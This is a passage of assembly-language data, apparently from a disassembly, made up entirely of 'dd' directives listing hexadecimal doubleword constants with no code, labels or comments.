		dd 37005A06h, 0A0B95F69h, 0EDD34FAh, 308F59DEh,	8C00190Eh
		dd 0FE9606BAh, 8A7792F6h, 88A0B2EAh, 74005C49h,	0D7F39FE0h
		dd 8C0B54h, 1D836C40h, 0B8DD22B6h, 3F3B1A0Ch, 0F010AC1h
		dd 62AD122Ah, 0D93E7F20h, 0D600F9B1h, 89936D40h, 906ECEB3h
		dd 1D811278h, 43004F4Ch, 0C5605060h, 3800E870h,	0A178516Ch
		dd 35DBEDFh, 0FAFC8D20h, 4E0EA0DDh, 0C17DDACCh,	0AC4BAB30h
		dd 0D37A880h, 0C9A7C2C5h, 90722E01h, 305D070Ah,	1C606D4h
		dd 2266A2A6h, 0C0F023C5h, 191D36B9h, 37400CADh,	25E7F397h
		dd 3933304Ah, 56E1CB7Ch, 2B19B660h, 0C316560h, 681929D3h
		dd 0E023B88h, 11BA4A57h, 0AFEC8E49h, 223EE445h,	646A60D0h
		dd 0B3BD24AFh, 5E210049h, 94884196h, 497FFC7Ch,	0A653BB00h
		dd 5D5F9A52h, 0BF580089h, 4CB51972h, 0C000C843h, 0AD7EB870h
		dd 0E1EDB4h, 16FAFD37h,	5D71C5D2h, 0E811B100h, 8640F19Ch
		dd 2636988Dh, 10E008h, 0BC577843h, 0C57454BBh, 2EF8D600h
		dd 0A1CE2414h, 0C9C0042Bh, 80E95397h, 4D4E765Ch, 108E6F1Fh
		dd 0DFD0C40h, 107EAED7h, 2691081Fh, 4200BEB4h, 171CDF89h
		dd 0B2FD002Bh, 0A14BA8DCh, 2C004790h, 0DF85C402h, 7059E219h
		dd 70C7004Ah, 0E1FD6DA7h, 0C200A04Bh, 0A8196C94h, 0C3BC92h
		dd 1A46E6E0h, 1D2D347Ah, 1159A700h, 0C7F304D0h,	7CDB09ABh
		dd 0A7021675h, 1C606EAFh, 0FC0063E9h, 5FFB6005h, 93BC3Ah
		dd 2534D1C7h, 0C09E482Eh, 0E7D9600h, 0A6DE3D32h, 71A50793h
		dd 1002C41Bh, 9B6E5B7Eh, 8ED2E901h, 455E6A77h, 83A460h
		dd 15BE8C22h, 4CEE212h,	0AE00517Ch, 30A5CDF5h, 493328h
		dd 9A95BD8Bh, 7650E3C4h, 99CF84Ch, 80579958h, 0FB64E798h
		dd 9BE100E8h, 265B98F4h, 4F317B11h, 0C389C06Dh,	0EFC366F5h
		dd 0F35C1A00h, 0D4320067h, 3EA7CD85h, 5D003720h, 3DDCD26Eh
		dd 345F346h, 0A2A4BBD1h, 0DA81E62h, 320288FBh, 0FE0A56AFh
		dd 82E30043h, 6F00DD2Ch, 76CABBE7h, 7DCF80h, 6023E520h
		dd 911F1325h, 9493CB00h, 9A7B3435h, 0F36801F4h,	0A10636E0h
		dd 1039E833h, 8B6BE502h, 61EB1DF8h, 7530B078h, 0EDBB3090h
		dd 4D059D10h, 0B7D1C900h, 1D73A8A2h, 0F65107D3h, 5CAD6962h
		dd 0E4F5C789h, 44002D59h, 0AEF6E903h, 41710h, 49645F8Ch
		dd 18436625h, 0DA005490h, 836D27FCh, 3FA0E355h,	92BF3A7Eh
		dd 3853007Bh, 91864B57h, 0F400FCA6h, 3F4788CBh,	988E44DAh
		dd 78AA7132h, 11B90017h, 5A4B2D48h, 8B00A5EEh, 9A8189D8h
		dd 644EE2h, 1AD24C61h, 5187DD75h, 0FB1DD612h, 0C0DE040Eh
		dd 0E93DC84Dh, 648600F1h, 0F623103Fh, 9F0F81C1h, 0A08B7F19h
		dd 50315CDBh, 868D0734h, 0B026ABA2h, 0CA0A7BA0h, 75FFEE02h
		dd 40E19C73h, 1F31E7C8h, 823DEB4Eh, 61B99FC2h, 8FF4E8E8h
		dd 818C2D39h, 4CBBE2F9h, 1428C38Bh, 130D5602h, 0E0C8E771h
		dd 0A004DA80h, 795BE881h, 5DEE0180h, 5B50041h, 0C457448Ah
		dd 0C1056ADBh, 4E1EAFBDh, 0B384A200h, 0D875D3h,	10D5028Fh
		dd 505FF011h, 25F61600h, 3D492396h, 0A37B0090h,	293522C0h
		dd 3603AB26h, 0DAFE2753h, 0FA69842h, 925A07DEh,	0D31FCCFFh
		dd 0B2935954h, 345BBAE8h, 0F00BF900h, 45D43AD0h, 0A32302A8h
		dd 18C807D1h, 0B65384A0h, 0C90E6FD2h, 4023364Dh, 8E3B9DE6h
		dd 0B1140078h, 667D1307h, 47ECC938h, 7FE61C00h,	0DD9780DAh
		dd 0DF3006Bh, 254F0448h, 0D0106405h, 0D900FAF4h, 8A0639BDh
		dd 162E6DCAh, 6F9EBC7Fh, 39483FBAh, 4F6100BFh, 0A81F847Dh
		dd 0C87724h, 355BA43Ah,	0BDB6D59Bh, 21029F03h, 3D2B493h
		dd 99DB1658h, 11002A4Ah, 47406D94h, 6FBCD4h, 71AA28F4h
		dd 0F73A6B99h, 23E61900h
		dd 0BB26F1CAh, 74781EFAh, 24E659h, 648EBCA6h, 116DDC3h
		dd 1007EACDh, 1F0317B9h, 6952B003h, 0F7850B57h,	9400222Ah
		dd 102CFC3Dh, 0D088D451h, 0B10012EFh, 5EE04966h, 1FCBADh
		dd 0DEF0FB82h, 607FD784h, 0A1AA3Ch, 0F5FE3CE2h,	0F8C98F63h
		dd 0E31C0575h, 845107C3h, 409E1FB2h, 0DC25CB04h, 54391DB9h
		dd 11200135h, 0A6FCF109h, 0E1A686F2h, 89043869h, 0A9805FBAh
		dd 0B5127692h, 0C8619513h, 0A58EFD21h, 714E10F0h, 0C37B15h
		dd 0C0340944h, 3955F9D5h, 66076D71h, 0F6B1BFADh, 88E7B343h
		dd 314D2Fh, 8275878Ch, 0CEEAD83Fh, 5071F000h, 0FCDE7B24h
		dd 36771E2Eh, 7989003Ah, 9BAD32D2h, 2F54C505h, 88006EEh
		dd 1AA6E9h, 734B5EB9h, 0EFDBBB4Eh, 9D4315Ch, 14DEAB2h
		dd 0B0ACCF5Ch, 2EE21BC4h, 1408EFBDh, 858D090h, 0C2010073h
		dd 766E40B1h, 5400A76Fh, 0C30DB2CDh, 1665394Ch,	0C5B75Ch
		dd 77FD06BFh, 0C90782B6h, 9263D4Eh, 0D5C0DC5Fh,	0D4E77C93h
		dd 33D700F8h, 0E0EC5E32h, 0B507A4BDh, 0B36E833Fh, 7A11F500h
		dd 44520031h, 0A52F616Ah, 0B774C0FBh, 768B481Fh, 65E79580h
		dd 0C75514h, 61E65F2Bh,	40A13B0Dh, 5610F400h, 3AC630EAh
		dd 153F0F2h, 0D2859BE4h, 2E9D7B9Fh, 2F569601h, 1189F642h
		dd 5D00F7CBh, 0A477393h, 1011CEEh, 516D56BDh, 85C4A76Ch
		dd 0C0AA03D1h, 27FF14BCh, 355CAD98h, 0E72C9100h, 0F52FEBD5h
		dd 0E5690007h, 0C65FF2C5h, 47744686h, 0B3906800h, 2E1A1B56h
		dd 8B7900A2h, 66D7F155h, 69908C12h, 3286F91Fh, 0CBECA040h
		dd 4A5E38h, 817144AFh, 4D74482Fh, 0B6A503Bh, 80BC1022h
		dd 0CF4902B8h, 906C02B9h, 0E3ADCE9Ch, 12DEAA60h, 50C70703h
		dd 0CF9F9E68h, 70C11DF4h, 0A0C775F3h, 94A9281Eh, 0CD42094Ch
		dd 31E53C00h, 0FDE279ECh, 262F8501h, 7BD4F706h,	4600502Ch
		dd 6B3A91FEh, 50900CD3h, 380EA512h, 579A00C0h, 0DA100028h
		dd 1BB3E189h, 67022D4Eh, 157AC36Dh, 0C650C0BEh,	1E5F0B08h
		dd 51005C78h, 0BC05AB28h, 34FAD400h, 0A34D8B0Ch, 40394C5Ah
		dd 0C715D30Fh, 9A678018h, 32A38E48h, 27211B9h, 8227CA34h
		dd 9598FF80h, 4D6F00B5h, 0C5A1E81Fh, 6E01EBDAh,	105EA464h
		dd 96E13708h, 0CE003908h, 65DEE71Ch, 0EC02D1F3h, 9EE2E86Eh
		dd 0BC390FA0h, 0F5357B83h, 0F03CB5B9h, 0E7F8D19Eh, 0C002E4Bh
		dd 89EB386Ah, 0C0363EBBh, 3F0C2B28h, 0A0D4A02Eh, 0D17613ECh
		dd 7EB9013Ah, 0C87565DCh, 8E071740h, 692AE1B3h,	478BC650h
		dd 0A0930023h, 214D1B26h, 0CB00124Fh, 0BC167195h, 0F85306h
		dd 0DCB420E9h, 0B1CF4583h, 9159D901h, 566A2CC9h, 5304E8CFh
		dd 28B00ECEh, 0E921CAE1h, 0CC401082h, 1CEEEC9Fh, 0B907F4E9h
		dd 0A2197700h, 86C09D3Dh, 0CA060070h, 0AEF1E52Ch, 0EE00952Ah
		dd 0B9081DD1h, 778694F3h, 19985Fh, 33A02BF1h, 0F531C32Dh
		dd 0C7E5190Ch, 75C5F1F2h, 8DE00FEDh, 7405B38Ch,	968C20EEh
		dd 48816656h, 0CEBEAD0h, 0B5EF750Eh, 0DF0C1721h, 11E353ABh
		dd 991D042Dh, 18E73279h, 30B07638h, 5E490396h, 0BC189EA4h
		dd 0CF816E63h, 0C7F3189Ah, 0A8E51179h, 0EAEDE208h, 0D4650E72h
		dd 6C4F24E2h, 8A492013h, 34E57844h, 40C0AEE8h, 6EA33050h
		dd 3A88C253h, 191F264h,	0BAF5E4CFh, 0C0B6753Dh,	0FFFADF18h
		dd 87E56600h, 2CA20E70h, 7811FCEFh, 46FA0188h, 0D5AFF4C3h
		dd 0D32C20E7h, 7A16238h, 0BD331BDEh, 32F76C00h,	0A4A050D0h
		dd 0F3363CDDh, 1060983Eh, 9C684C9h, 0BDC20D01h,	6AAB21F6h
		dd 0F9943BE0h, 0C0ED28C1h, 0A06622F0h, 9801B814h, 0ADAF0000h
		dd 2ED02669h, 0D6069FD5h, 72439C30h, 0DF6501C8h, 8B2361B6h
		dd 6A8880B7h, 0BDB5F821h, 1E9F0938h, 9C21B179h,	83811832h
		dd 33036B90h, 696C996Dh, 90BE3AE8h, 8970E004h, 31FDECD9h
		dd 228820A7h, 9FF5C06Ah, 0BC246649h, 0FE40CC95h, 3082DBFh
		dd 0B18EBA68h, 830AA5Fh, 0B82021F2h, 1823B02Dh,	0C0D84BFBh
		dd 10C46DF5h, 3001B49Fh, 8B98E833h, 5F12178h, 0D400E186h
		dd 0EC3B1415h, 0EB90389Fh, 2F0200FBh, 652CBA25h, 1251571Fh
		dd 0BB5440E0h, 0CD88B152h, 0C829003Ch, 6E8A5336h, 8DE232Eh
		dd 34F32170h, 21A60029h, 0A466C154h, 9315C2CEh,	6908C42h
		dd 0E85BEB6Bh, 2D072A0h, 7E69D3B6h, 48486FC7h, 0E57A06FCh
		dd 497AEA09h, 4A50811Dh, 408F7F88h, 0B100B637h,	0D6F7F102h
		dd 0CF540B51h, 1115A2C3h, 2494E395h, 0C68CA05Eh, 966177h
		dd 0E783F763h, 35525521h, 0BB41904h, 0A5A034EFh, 39A11DF4h
		dd 30FD8EB6h, 0F22BC8Eh, 482C2C0h, 0C8A16A0Bh, 2486E7EDh
		dd 989152B0h, 8340C000h, 7BFD6711h, 28AF07E3h, 0E08AD666h
		dd 8DBBCCD0h, 0D7CF504h, 0BDC0C440h, 6052B82Eh,	0C9CF41B9h
		dd 98007541h, 7CBB8401h, 28241Ch, 0B7691B7Dh, 7996EE07h
		dd 0E9EB3C31h, 0E1806DC7h, 0CFAC9A16h, 1B03A3BCh, 0F1F3BE39h
		dd 13C2F802h, 0AF4C0060h, 6DD0D412h, 9F249438h,	4C398884h
		dd 51E5305Ch, 0D4161h, 0D437B1C4h, 0DF0367B0h, 0D2DCBF50h
		dd 74273C03h, 2E4973Ah,	0B85C3B31h, 0F448AFFFh,	7805AE6Dh
		dd 70E5EDBDh, 6AF59041h, 842268B8h, 6605E10h, 8E1042F3h
		dd 0C6711418h, 748CCAh,	0B82F0ECBh, 96EDFFBAh, 0F805C434h
		dd 0EE00826h, 2571FDCBh, 0C5EA0282h, 74982840h,	3F111909h
		dd 58AC82A6h, 0FADF0068h, 0C8C9D6CBh, 0B81C04C2h, 8397098h
		dd 3B36C529h, 0F040C3C4h, 68D42931h, 81CBFB3Ah,	0FFF12259h
		dd 0AC20E352h, 20440CFDh, 8E6E6ED9h, 0C4B42D13h, 11C6BC0Bh
		dd 988E594h, 6500784Eh,	472A584Ch, 6C571D64h, 770D002Dh
		dd 2F879EAAh, 0D89853B0h, 8D0C247Dh, 50F582BBh,	12D68870h
		dd 0C3588A00h, 4097D88Fh, 0EC962A77h, 22B300CCh, 0D51D74ABh
		dd 13CAE51h, 1726899Dh,	0D00C10C4h, 0ACD92467h,	61A83B10h
		dd 28C648F8h, 0F06E5E87h, 7BE224D7h, 2CD0383Eh,	86015E66h
		dd 4F2307CAh, 3880A035h, 7758E744h, 2401CE1Fh, 0CA0C897Ah
		dd 9182F095h, 0A6A150B7h, 2653C2C0h, 47C8320Fh,	0C0B9C0FFh
		dd 1215EE17h, 43400888h, 14329824h, 0FD1AE089h,	28689ED4h
		dd 0D2BF2C80h, 75637C3Ah, 74E4041Ch, 1DEB3EDh, 88BF9BD6h
		dd 60F86C20h, 0C436D8C1h, 0C3738FFDh, 876C3816h, 3A646840h
		dd 585D6A14h, 0CA108CAAh, 0FF6E056Bh, 0EC04F002h, 50C8C805h
		dd 40951E2Ch, 256D805Bh, 0FEBA943Ch, 797FE090h,	2971C630h
		dd 2E5792F6h, 32D8438h,	0C51D6ECAh, 5F20D5C4h, 1774C410h
		dd 61C08992h, 4A941046h, 0EA1CC275h, 824032DFh,	0FFBF1FDBh
		dd 610F03E4h, 79D77437h, 0D2C33803h, 0E61F29A4h, 0EB3626C8h
		dd 41EF1E90h, 68F0E6F4h, 2C7297h, 52584490h, 232D4F8h
		dd 0F5694994h, 0CC4A9C42h, 0C88358C2h, 11246D28h, 2E0F6069h
		dd 6504304Eh, 0CCA2058Ah, 9CCEB2Ch, 7AA2183h, 4C19A1FDh
		dd 3DC6303Ah, 81C0E697h, 76D06EBh, 0A399003Fh, 4A5E7115h
		dd 25034555h, 9A6036BBh, 46D7F88Eh, 9BD818D1h, 7F2E93Bh
		dd 8A91B603h, 0B1A93870h, 0F850BB53h, 7021026h,	0B85848F3h
		dd 8EC3D0CCh, 9C94B3F1h, 0BA46F428h, 0C7293B02h, 0C4314B36h
		dd 2933F210h, 2BD82700h, 0AFAD6298h, 870710EFh,	643606FDh
		dd 4C988BB3h, 0F04830A5h, 0C8583048h, 6B4E16C0h, 0D9FC10A6h
		dd 2CCDD600h, 6AE3F4F2h, 55760BBDh, 0D8034638h,	0C484C62Bh
		dd 88B8CE48h, 0F62FC0C7h
		dd 6C03D66Bh, 0C94FAF1Fh, 0D02001AEh, 42F1CF38h, 6CEF7039h
		dd 0EBB0B0C0h, 1AD5A7Bh, 9736FE9Fh, 85F75F1Fh, 67C42DD8h
		dd 13751CDCh, 20C77629h, 23B40C60h, 0C44F9F3Dh,	6045007Ch
		dd 715E6E92h, 5C7BB9D7h, 1306BAE6h, 3918BC99h, 19EF0B9h
		dd 0DF386BE1h, 0A6373BEFh, 4E0CB419h, 0FE625174h, 36EC2Bh
		dd 2CEB063Eh, 5E244558h, 753DA50Eh, 10C8099Bh, 3EEBB4h
		dd 5D69A710h, 0B9992D47h, 0A13D5E20h, 0F21072DCh, 4D0004AFh
		dd 0F3510B93h, 5D566EC9h, 4927806h, 1976F0Ch, 199EEFF2h
		dd 50D1897h, 0DA3BD9h, 2D90EBD4h, 0D80C7987h, 0B96F4E3Fh
		dd 0A97A3A2Bh, 0A02F2487h, 3679A19Dh, 604861BFh, 0F8CC1F0h
		dd 680D2DC4h, 80F58831h, 1E2DBD25h, 4C00CDB7h, 0C0546014h
		dd 201B0213h, 0B082DD0Fh, 0CC505C43h, 6630FFF8h, 0AFACB006h
		dd 0C7B4C5D0h, 85804769h, 0EF3DD3C8h, 0E62882B5h, 807C2CC9h
		dd 70C0AB21h, 74867E98h, 0F3E40E24h, 76358B2h, 580C5552h
		dd 316669BCh, 226B4B1Dh, 106C2F2Ch, 0BFA20604h,	0AB38F9F3h
		dd 1AA1FE12h, 673A2B00h, 0F89B6368h, 206C984Dh,	0F01F863Bh
		dd 3CE4BD2Bh, 7523CB40h, 0FF97094Bh, 5800FBFAh,	0ED5E9F38h
		dd 6EBC6A10h, 73DADE00h, 74879C30h, 806548C9h, 0F5B92ECBh
		dd 75972F6Dh, 0EFEE2C80h, 48D3ED06h, 2A962404h,	93D6400h
		dd 2718E937h, 0AD20E8CFh, 0BA7D3852h, 37C42053h, 21756026h
		dd 4B4E98A0h, 93AC4152h, 0D0CE3422h, 0BC9819CCh, 258B2820h
		dd 0DCA04F36h, 3961226Fh, 0EFED0702h, 426DEBBAh, 81840904h
		dd 0C3E24CB0h, 0D0049004h, 0EB7A7C6Ch, 0F508E0B2h, 806EC6C5h
		dd 1B1CB74Eh, 902D756h,	62F3B621h, 4858B4h, 70EBC43Ch
		dd 0C2E6CAFBh, 0A41B673Dh, 1FBE74D2h, 0B28038BEh, 0C6362544h
		dd 42290F5Fh, 0CA42FD5Ch, 34C01261h, 10900503h,	4F320E12h
		dd 11C0E420h, 962A070Dh, 93750466h, 0F5B06E56h,	6761E862h
		dd 414E5F80h, 0A6D081C8h, 69E50094h, 0B2EC14ADh, 421093C0h
		dd 38007A84h, 7F812AE7h, 964BD408h, 0BFAF8840h,	0E6255655h
		dd 374F00D6h, 5315947Ch, 0D1A0CC17h, 0F61F7298h, 0A177EAEDh
		dd 71D6E6h, 0E05968C3h,	2C88FBF3h, 8D16561Dh, 1B123201h
		dd 8840CAA7h, 4DDFD53h,	0B06E6965h, 0D09CC091h,	8C00DE04h
		dd 53DA77BFh, 3AB41B39h, 184A2C3h, 0FBA84ADBh, 749A8900h
		dd 90543Fh, 0A244486Bh,	0AC664065h, 3ADB670Eh, 633E81A1h
		dd 4FE05082h, 497403A9h, 437A7E6Ch, 0D04439A1h,	6D009C5Dh
		dd 28D4D29h, 7DA76132h,	9E5B1E4Eh, 8F5DC770h, 0A26BF067h
		dd 0F8784871h, 1F3C38AEh, 3F781D6Ah, 24511829h,	3B76088Fh
		dd 3CB09C0Ch, 4E6BB100h, 2B02A447h, 65A8006Ah, 51394624h
		dd 9C74674Dh, 7A4C303Ch, 0AD615301h, 7DF8294Bh,	5788D187h
		dd 728C802Fh, 98A84623h, 4AF38F7h, 0FD70EA06h, 7D640710h
		dd 80FEBC25h, 0B2C287C5h, 2B075D00h, 9554BE85h,	513F0C1Ch
		dd 5B30F943h, 0FACEF70Ch, 1C6B1894h, 68EEF6F3h,	0BCDB4808h
		dd 795F8E0Fh, 47E126C0h, 2CA0B738h, 361C8DDAh, 3754FD09h
		dd 882DCD0Ch, 60AA0C1Ch, 8BFB3002h, 59C3E45Fh, 0FEABE84h
		dd 7D685179h, 6A8841F8h, 0D981E9C1h, 1985318Dh,	426806A2h
		dd 0DE6C8878h, 3BA35884h, 0F91D8BF2h, 66FC0EB6h, 97855887h
		dd 230F317Ch, 947F7E1h,	66CC20E5h, 0C7267295h, 55C5BB28h
		dd 5D2D8181h, 380C40B5h, 3495F10h, 0D68200F4h, 3F19FF3Bh
		dd 489D2E84h, 7B9E05D7h, 10C07F6h, 904484EAh, 139FC3FCh
		dd 75B1C00h, 8B8DBB5Eh,	0BCBA14DDh, 0DB050CBFh,	450DBD06h
		dd 778C98h, 5AFC7A58h, 64A7FB64h, 9D403644h, 0C687C258h
		dd 0BC048CAAh, 5F8F2021h, 30B8A44Ah, 0B88003A1h, 0F0617001h
		dd 8E3D6119h, 947F84Ch,	0F84506A3h, 20BD5C84h, 41EAEEF7h
		dd 0F570C094h, 0F6C14061h, 8C4CE2DFh, 0E4358A45h, 3AC59901h
		dd 7C32BE81h, 20E09864h, 0A02C87C6h, 0C13A6048h, 97387768h
		dd 0FC4510D2h, 488A6C5h, 6B3D622Bh, 0C76482DAh,	21ADC113h
		dd 0D7973710h, 0E05AFF28h, 0A16B512h, 25040C32h, 0EC8073F6h
		dd 140C9946h, 0B8C3969h, 1562FC58h, 84DE4204h, 8A518899h
		dd 0F402A2E0h, 1820510h, 0F621E090h, 48D2FFCEh,	48D59760h
		dd 0E6C82841h, 0CE4680A1h, 280C8C99h, 138CF84Bh, 3F99BB3Ch
		dd 54CC880Ch, 0F0BFBB3Eh, 0E91A891h, 0E580AE70h, 0A0C99A3h
		dd 98CDA73h, 9C1F9E62h,	887AB5E4h, 8C956FBFh, 3BC8A057h
		dd 12B7E658h, 4AE98548h, 6BD8A214h, 4F217410h, 0F25061D5h
		dd 0C01159Fh, 11BD079Bh, 0A8C85194h, 0E0E181DBh, 0FF799443h
		dd 21DCCDD8h, 832A585Bh, 2CC44C4Ch, 956811FFh, 0DFB1C8AEh
		dd 0E324ECA0h, 2D00EC2Ah, 0BE7C4060h, 3E0498A5h, 0A24412A3h
		dd 52C11C40h, 0A106CC87h, 1834427Dh, 0BF6A8A00h, 0D99266F8h
		dd 31026CADh, 49D04370h, 0E52D229Ch, 116E3C4Ch,	0E4B19A14h
		dd 0C13CE851h, 9AB1080Eh, 1CD8551Eh, 0DD110D3Ch, 43E1B7DFh
		dd 9C301FEh, 76E1C24h, 0F5AF7D79h, 4A07EE0h, 0D9367C14h
		dd 8BA85E0Eh, 0EEBD40CBh, 11B4709h, 8331523Ah, 30998E9Ch
		dd 48155710h, 2EDCEA8Ch, 6F4080C4h, 1B56EFh, 129D4376h
		dd 0C2DE59ADh, 4B210260h, 0DC4A22h, 0D9137F29h,	0B28D8137h
		dd 6A9A5306h, 2280FB8h,	0B7FE783Bh, 3340E85Bh, 9A0109FFh
		dd 482ADA5Ah, 7984F990h, 0C85277EAh, 0A988162Ch, 39D200D4h
		dd 0B96825Dh, 8300C911h, 0E5754826h, 4C17E58h, 0C45BA076h
		dd 7D14D3FFh, 5466AED0h, 5C38AC72h, 36DF80E1h, 0D58D9F42h
		dd 2B220079h, 675E5AF3h, 0BA00E966h, 9DFDECEBh,	0FCB5B41h
		dd 5DE48B6Bh, 9B21E183h, 9739F0A7h, 0E91B6F37h,	88A93E81h
		dd 777C47Ch, 539C825Bh,	7B4800D8h, 0EA7E0321h, 104E68A9h
		dd 13DDE4h, 0AB045DA9h,	65D5F41Fh, 8E3BFE00h, 0AA540DEEh
		dd 116F0AACh, 8CB41469h, 7C494DDFh, 86549F00h, 91992A1Eh
		dd 0B50F05Ch, 0A045AC73h, 48DE8900h, 5E988A9Ch,	0C483E124h
		dd 8B2BF700h, 13F58DBh,	1CCD1380h, 408E3743h, 0DD9762E9h
		dd 1D6FCE00h, 7F04E5E8h, 3A4B015Dh, 42474D85h, 8C3AF34Fh
		dd 3F3FF892h, 0D773FA82h, 49534E00h, 4C564D80h,	1E14A58Bh
		dd 50540C3Dh, 4C1F5B30h, 53049446h, 4A03823Bh, 3AE95785h
		dd 949FC8Ch, 48171D00h,	0E45C8F43h, 51810D04h, 80180857h
		dd 4D5F8CC4h, 0E75C9045h, 288067D3h, 4E58B084h,	38E85B89h
		dd 575D9118h, 6E535478h, 92E6313Eh, 5D14595Bh, 0C50C4751h
		dd 84401CD5h, 3A495080h, 56580A88h, 1889146h, 5257864Bh
		dd 0D52980D7h, 98BEA59Fh, 18EE7841h, 18F2A0E4h,	6A03AF1Ch
		dd 0EB0A26F7h, 9B3100D6h, 0F918F1A2h, 4D002F22h, 404F80A0h
		dd 3E0C2158h, 1C00DEA9h, 1BC68BE4h, 6DF4DD07h, 3F10D60Fh
		dd 0E0A68FEEh, 9DCE70B9h, 30D4B027h, 2F710AA1h,	0CA08F895h
		dd 7CF6AF7h, 405C56E4h,	0EB3859F4h, 686328C0h, 102BD724h
		dd 19D8F66Ch, 55A1F4CEh, 21201842h, 9005279Ch, 0CE86EE68h
		dd 6EE31DCh, 699CCB54h,	0EA6D59C7h, 1FB68888h, 151EBE0Fh
		dd 61F72040h, 166529DBh, 0E1B8BC1Dh, 0EAE0BE59h, 0F304308Ch
		dd 0B050D179h, 62888A2Ch, 0A64101D2h, 0AD022FAh, 8220BED9h
		dd 9AB0B92h, 0D3D084DDh, 0B318F362h, 98068C25h,	99499DAAh
		dd 0D2CD3030h, 0D6D9D8B9h, 6B68A760h, 19DFC4A2h, 0C8D5EB0Ch
		dd 5BAC10F0h, 0DCF2503Eh
		dd 0DFF1C11Dh, 86B39A75h, 0E9F0BD31h, 4C1F5418h, 58945068h
		dd 69F7181Ch, 0A29C91E2h, 180DE924h, 0ABC13937h, 0AAC58B72h
		dd 93043086h, 0EB5418E6h, 0DA51584Ch, 28E81358h, 6DE39101h
		dd 0EE3EE106h, 0A80539BEh, 2160D263h, 0AD866A4h, 7436FDC9h
		dd 0EDC5B8C7h, 8A351C8h, 27C48537h, 66FC6A33h, 21AD4250h
		dd 0B8425C0Fh, 0FCE5E710h, 0BE9085EAh, 21D4BF88h, 0C444FEBEh
		dd 8359722h, 0D251FDAAh, 428D6F08h, 4214EFA2h, 0E44710DFh
		dd 28CCF7FDh, 1F5384EAh, 0EC3EE150h, 0DC99CE18h, 6C9DA63Bh
		dd 0A4F1A088h, 0D26D438Ch, 36A83109h, 736010D6h, 39BF34C3h
		dd 48C8561h, 40EAA184h,	3460AE13h, 90FB4820h, 0A160ED22h
		dd 1E2BE809h, 0A026499Dh, 0F33CF022h, 0BBA195AEh, 10F43198h
		dd 4C4C09A0h, 98EE4C6Ch, 0E0113DC8h, 42B08E26h,	3CB0EE05h
		dd 2C189EF0h, 1011F26Ch, 9DA624CAh, 0E0CE42E8h,	0A886DC46h
		dd 94941CFh, 2768908Eh,	48A493A8h, 9E700138h, 0E7F706h
		dd 338281Bh, 4B53568Bh,	40AA5F3Dh, 4604A8C0h, 4CE78F58h
		dd 5B1603E8h, 89F2814Fh, 2F707E22h, 5D8F01F7h, 5C3D3C56h
		dd 8EC604Ch, 863F5907h,	8CBE045Bh, 0C3852854h, 5C8C4510h
		dd 518239E0h, 3D3E5217h, 813C0400h, 0F0504708h,	0E861F949h
		dd 166FAFDBh, 5A84F040h, 0A24B4445h, 0F704357Ch, 49334402h
		dd 4AB44082h, 5C5E0A4Bh, 50181D3Bh, 0B09A0CBEh,	0EE6DE207h
		dd 2C373F08h, 0C843A330h, 9E1C0CB9h, 7218098Eh,	230E5B17h
		dd 0C61BB00Fh, 3959DB4Dh, 0FAEBA62h, 0E33B0294h, 0BCE16DA6h
		dd 6003FA51h, 84A5881Bh, 0CEDEFA2Ch, 0A8801081h, 18623DB7h
		dd 0C9DDEC00h, 0DF6AAEC1h, 0F668B84Fh, 53E40085h, 9AE7D965h
		dd 18C7507Fh, 1F96A262h, 0B8B5F870h, 524080A0h,	9D3D30E4h
		dd 4FEA86E9h, 4DF0D774h, 0A52540B2h, 0AEE4022Ch, 3C7CA7E3h
		dd 80D67330h, 0C3C8F7Ch, 10114293h, 867513A9h, 68E4189Fh
		dd 0B4285073h, 36318C0Dh, 966A682Ah, 0D62CF8B8h, 0AEA042ACh
		dd 24C3A907h, 0E4400789h, 7675AAA6h, 9D61784Ch,	0FED4E531h
		dd 8F048C4Ah, 78DD4D2Fh, 0A880C229h, 0E0C9ED8Fh, 3A86204h
		dd 2B976740h, 0FDBEF371h, 0ABA79843h, 218098CEh, 77231FE3h
		dd 89D81978h, 8C4847D9h, 2C938D48h, 6424159Eh, 49851857h
		dd 0A23E3BE3h, 0F1D000F3h, 0E9D4F7B2h, 3EA40031h, 90404C3Ch
		dd 49035508h, 38564F8Ch, 0CC48C28Ah, 504A5878h,	525D8E0Bh
		dd 481540Fh, 0D13B6C1Bh, 27C3844h, 0EFF52A05h, 324498F9h
		dd 0FAC0FC34h, 6C5B2B92h, 73BB0504h, 340DC449h,	2808000Ch
		dd 0F04C4B86h, 304CD689h, 8625221h, 0ACEC5050h,	0EB9C3E88h
		dd 0D1A0E929h, 2B95031Eh, 94C86509h, 99C80853h,	0B1574CA0h
		dd 5901CCE0h, 104AE90Dh, 6B441722h, 1919F1A7h, 42CF108h
		dd 54957004h, 0DF9C661Fh, 4495E905h, 3D1A0C21h,	50018C59h
		dd 0C72F6021h, 0A412C9F3h, 0D85840EAh, 40BAE086h, 0C8EFEE44h
		dd 0F191F009h, 0F344F222h, 12F589F4h, 48F724F6h, 22F991F8h
		dd 0FCFB44FAh, 7404DDF8h, 71263738h, 911B9582h,	0B8941FF4h
		dd 0EFB284D8h, 24590497h, 80ED0852h, 23FE45BCh,	0D7920FE8h
		dd 0DC8F381Dh, 0D6E67980h, 0C7C0FB7h, 54E92207h, 624195FEh
		dd 6AE19DD8h, 72F1A5F1h, 5A403ED3h, 0C7D1D01h, 40591CDEh
		dd 0EC0FB490h, 12C4F8B7h, 9A4446E6h, 4D0FF48h, 20B2EAFFh
		dd 2D608856h, 8333A6Dh,	2840732Bh, 52653A3Eh, 44BAC38h
		dd 27345A82h, 9306001Dh, 0C809365Bh, 38A20A09h,	57FD0485h
		dd 0C4C0F55Ah, 2602CF68h, 41D4EB5Bh, 0DD10816Dh, 384A1D99h
		dd 0C4A84FB1h, 0AB0FDD09h, 86295568h, 18DB5Ah, 669FF0D0h
		dd 0FC91D6F1h, 1CA1727Ch, 5EFDF0A7h, 2BAF2405h,	282220F7h
		dd 0E438F5E2h, 29302C7Ch, 0D4BEB919h, 0F05D81F8h, 6D39183Bh
		dd 4B099E31h, 1D23813Ah, 8B3C5537h, 2427FCh, 3E45567Eh
		dd 0D7255A82h, 49005F74h, 374D9138h, 0EA5E8F3Ch, 29820F3Ah
		dd 0C79F28E5h, 0BE704B56h, 0BC865D9Fh, 2F1D1887h, 716BC74Ah
		dd 87934058h, 5C905040h, 56664490h, 4046524Ah, 3C93FA7Ch
		dd 5E0F4751h, 898329E8h, 36C5584Dh, 540A9830h, 1C824A53h
		dd 52F76567h, 18E401A8h, 0EB58568Ch, 609A54A2h,	5465EC15h
